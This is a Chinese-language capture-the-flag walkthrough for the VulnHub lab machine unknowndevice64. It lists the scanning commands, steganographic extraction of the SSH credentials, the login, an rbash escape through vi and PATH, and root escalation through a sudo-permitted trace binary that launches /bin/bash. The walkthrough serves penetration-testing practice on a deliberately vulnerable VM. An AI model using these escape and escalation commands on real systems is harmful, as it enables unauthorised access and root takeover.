unknowndevice64-V1.0靶机

信息收集：

靶机地址：https://www.vulnhub.com/entry/unknowndevice64-1,293/

（1）ip扫描

nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:D1:FC:88'

（2）端口扫描

nmap -p- -A 192.168.254.149
开放端口：1337（ssh）、31337（http）

（3）目录扫描

dirb http://192.168.254.149:31337/

（4）访问31337端口，没什么发现

（5）f12查看源码，发现有一个图片 key_is_h1dd3n.jpg

（6）访问图片，上面写着 隐藏的秘密，可能是图片隐写

（7）将图片下载下来，在kali中使用 steghide 工具提取信息

sudo apt-get update
sudo apt-get install steghide
steghide extract -sf key_is_h1dd3n.jpg

（8）显示需要密码，根据名字可以知道密码为 h1dd3n,得到一个h1dd3n.txt

（9）查看文件内容，是 brainfuck 加密

（10）使用工具解密，得到账号密码

ud64:1M!#64@ud

getshell：

（1）登录ssh

ssh ud64@192.168.254.149 -p 1337
1M!#64@ud

（2）发现很多命令被限制，是rbash的shell，双击tab键，查看可执行命令

（3）vi 和 export 命令可用,vi 绕过，还是有部分命令无法执行

vi
按shift+:
!/bin/bash

（4）export 配置环境变量绕过

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

提权：

（1）sudo -l,查看当前权限

（2）sysud64 可以执行 root 权限的命令，直接尝试提权

sudo sysud64

（3）失败了，sysud64 -h 查看帮助,

sudo sysud64 -h

（4）可以使用

-o file        send trace output to FILE instead of stderr

（5）尝试提权，提权成功

sudo sysud64 -o /dev/null /bin/bash